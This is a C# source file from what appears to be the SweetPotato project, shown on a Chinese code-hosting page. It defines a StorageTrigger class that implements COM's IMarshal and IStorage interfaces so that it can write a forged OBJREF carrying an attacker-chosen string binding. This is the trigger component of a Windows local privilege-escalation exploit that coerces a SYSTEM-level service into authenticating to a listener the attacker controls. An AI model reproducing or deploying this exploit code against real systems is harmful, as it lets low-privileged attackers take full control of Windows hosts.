代码拉取完成,页面将自动刷新
using System;
using System.Runtime.InteropServices;
namespace SweetPotato {
[ComVisible(true)]
public class StorageTrigger : IMarshal, IStorage {
private IStorage storage;
private string binding;
private TowerProtocol towerProtocol;
public StorageTrigger(IStorage storage, string binding, TowerProtocol towerProtocol) {
this.storage = storage;
this.binding = binding;
this.towerProtocol = towerProtocol;
}
public void DisconnectObject(uint dwReserved) {
}
public void GetMarshalSizeMax(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out uint pSize) {
pSize = 1024;
}
public void GetUnmarshalClass(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out Guid pCid) {
pCid = new Guid("00000306-0000-0000-c000-000000000046");
}
public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS) {
ObjRef objRef = new ObjRef(Ole32.IID_IUnknown,
new ObjRef.Standard(0x1000, 1, 0x0703d84a06ec96cc, 0x539d029cce31ac, new Guid("{042c939f-54cd-efd4-4bbd-1c3bae972145}"),
new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null))));
uint written;
byte[] data = objRef.GetBytes();
pstm.Write(data, (uint)data.Length, out written);
}
public void ReleaseMarshalData(IStream pstm) {
}
public void UnmarshalInterface(IStream pstm, ref Guid riid, out IntPtr ppv) {
ppv = IntPtr.Zero;
}
public void Commit(uint grfCommitFlags) {
storage.Commit(grfCommitFlags);
}
public void CopyTo(uint ciidExclude, Guid[] rgiidExclude, IntPtr snbExclude, IStorage pstgDest) {
storage.CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
}
public void CreateStorage(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStorage ppstg) {
storage.CreateStorage(pwcsName, grfMode, reserved1, reserved2, out ppstg);
}
public void CreateStream(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStream ppstm) {
storage.CreateStream(pwcsName, grfMode, reserved1, reserved2, out ppstm);
}
public void DestroyElement(string pwcsName) {
storage.DestroyElement(pwcsName);
}
public void EnumElements(uint reserved1, IntPtr reserved2, uint reserved3, out IEnumSTATSTG ppEnum) {
storage.EnumElements(reserved1, reserved2, reserved3, out ppEnum);
}
public void MoveElementTo(string pwcsName, IStorage pstgDest, string pwcsNewName, uint grfFlags) {
storage.MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
}
public void OpenStorage(string pwcsName, IStorage pstgPriority, uint grfMode, IntPtr snbExclude, uint reserved, out IStorage ppstg) {
storage.OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, out ppstg);
}
public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out IStream ppstm) {
storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm);
}
public void RenameElement(string pwcsOldName, string pwcsNewName) {
}
public void Revert() {
}
public void SetClass(ref Guid clsid) {
}
public void SetElementTimes(string pwcsName, FILETIME[] pctime, FILETIME[] patime, FILETIME[] pmtime) {
}
public void SetStateBits(uint grfStateBits, uint grfMask) {
}
public void Stat(STATSTG[] pstatstg, uint grfStatFlag) {
storage.Stat(pstatstg, grfStatFlag);
pstatstg[0].pwcsName = "hello.stg";
}
}
}
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。